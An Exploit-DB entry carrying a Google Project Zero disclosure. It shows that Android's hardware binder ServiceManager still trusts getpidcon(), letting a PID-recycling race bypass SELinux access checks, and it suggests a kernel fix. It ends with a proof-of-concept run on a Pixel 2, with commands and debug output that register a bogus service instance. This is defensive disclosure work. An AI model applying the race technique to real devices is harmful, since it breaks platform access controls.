Exploit-DB #46504
Description: Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass
Type: dos
Platform: android
Date: 2019-03-06
Author: Google Security Research

Exploit:
We already reported four bugs in Android that are caused by the use of
getpidcon(), which is fundamentally unsafe:

https://bugs.chromium.org/p/project-zero/issues/detail?id=727  (AndroidID-27111481; unexploitable)
https://bugs.chromium.org/p/project-zero/issues/detail?id=851  (AndroidID-29431260; getpidcon() used in the servicemanager)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1404 (AndroidID-68217907; getpidcon() used in the hardware service manager)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1406 (AndroidID-68217699; getpidcon() used in the keystore)


The bulletin entry for  bug 1404  (in
https://source.android.com/security/bulletin/2018-01-01#system) points to the
following three commits:

https://android.googlesource.com/platform/system/libhidl/+/a4d0252ab5b6f6cc52a221538e1536c5b55c1fa7
"canCastInterface: always return true for IBase"
I'm not sure how this relates to the bug.

https://android.googlesource.com/platform/system/tools/hidl/+/8539fc8ac94d5c92ef9df33675844ab294f68d61
"Explicitly check processes are oneway"
Ensures that the caller PID isn't passed as zero. This addresses a second issue
that was mentioned in the bug report, but doesn't address the core issue.

https://android.googlesource.com/platform/system/hwservicemanager/+/e1b4a889e8b84f5c13b76333d4de90dbe102a0de
"get selinux context on add call arrival."
"interfaceChain may take too long and allow for the PID to become invalidated."
This seems to be the patch that is intended to fix the core bug - but all it
does is to reduce the size of the race window, it does not address the actual
issue.


Overall, it looks like this vulnerability was not actually fixed.
A patch that merely reduces the size of a race window without eliminating it is,
in my opinion, not a valid fix for security issues that impact confidentiality
or integrity.

(The situation in the classic servicemanager seems to be similar, except that it
has additional checks that very coarsely mitigate this class of issues based on
caller UIDs.)

In my opinion, a proper fix should include tracking of caller SELinux contexts,
perhaps with context information pulled from the kernel on demand when needed.
I think you could e.g. implement this by stashing a refcounted pointer to the
caller's credentials in the struct binder_buffer in binder_transaction(), like
this:

    t->buffer->caller_cred = get_current_cred();

And then add a new ioctl to the binder device for looking up the SELinux context
associated with a transaction, somewhat similar to SO_PEERSEC: Take the alloc
mutex, look up the allocation for the provided userspace pointer, ensure that it
is user-freeable, take a reference to its creds, and drop the mutex.

If for some reason, this still has too much overhead, you could also gate it on
opt-in by the receiving binder, similar to FLAT_BINDER_FLAG_ACCEPTS_FDS.


To demonstrate that this issue can indeed still be triggered, I have written a
PoC for the Pixel 2 (walleye), running build
"google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys"
(patch level "2018-12-05") that can register a second instance of
"android.hidl.manager@1.0::IServiceManager" with instance name
"bogusbogusbogus".

Running it:

=====================================================================
$ ./compile.sh && adb push master /data/local/tmp/ && adb shell /data/local/tmp/master
master: 1 file pushed. 12.6 MB/s (687184 bytes in 0.052s)
hexdump(0x7fc41de528, 0x50)
00000000  00 01 00 00 1a 00 00 00 61 00 6e 00 64 00 72 00  |........a.n.d.r.|
00000010  6f 00 69 00 64 00 2e 00 6f 00 73 00 2e 00 49 00  |o.i.d...o.s...I.|
00000020  53 00 65 00 72 00 76 00 69 00 63 00 65 00 4d 00  |S.e.r.v.i.c.e.M.|
00000030  61 00 6e 00 61 00 67 00 65 00 72 00 00 00 00 00  |a.n.a.g.e.r.....|
00000040  05 00 00 00 61 00 75 00 64 00 69 00 6f 00 00 00  |....a.u.d.i.o...|
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000000  flags 00000000
  pid        0  uid     1000  data 24  offs 8
hexdump(0x7ae2539000, 0x18)
00000000  85 2a 68 73 7f 01 00 00 01 00 00 00 00 00 00 00  |.*hs............|
00000010  00 00 00 00 00 00 00 00                          |........|
  - type 73682a85  flags 0000017f  ptr [PII_REDACTED]  cookie [PII_REDACTED]
binder_done: freeing buffer
binder_done: free done
got audio_handle: 0x1
hexdump(0x7fc41df648, 0x40)
00000000  00 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00  |........a.n.d.r.|
00000010  6f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00  |o.i.d...m.e.d.i.|
00000020  61 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00  |a...I.A.u.d.i.o.|
00000030  53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00  |S.e.r.v.i.c.e...|
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
  target [PII_REDACTED]  cookie [PII_REDACTED]  code 00000000  flags 00000000
  pid        0  uid     1000  data 0  offs 0
hexdump(0x7ae2539000, 0x0)
binder_done: freeing buffer
binder_done: free done
thread_spawner ready to transact
spam done
ready for delay...
14736 forking master...
14737 forking...
entering child: 14738
pre-cycling...
cycle target is 14737
first unused preceding pid is 13325 (3/No such process)
PIDs should be cycled now...
starting delay...
starting register transaction
hexdump(0x7ae2537f80, 0x94)
00000000  61 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 6d 61 6e  |android.hidl.man|
00000010  61 67 65 72 40 31 2e 30 3a 3a 49 53 65 72 76 69  |ager@1.0::IServi|
00000020  63 65 4d 61 6e 61 67 65 72 00 00 00 85 2a 74 70  |ceManager....*tp|
00000030  00 00 00 00 48 7f 53 e2 7a 00 00 00 10 00 00 00  |....H.S.z.......|
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 85 2a 74 70 01 00 00 00 60 4f 46 00  |.....*tp....`OF.|
00000060  00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 00 00 00 00 85 2a 62 73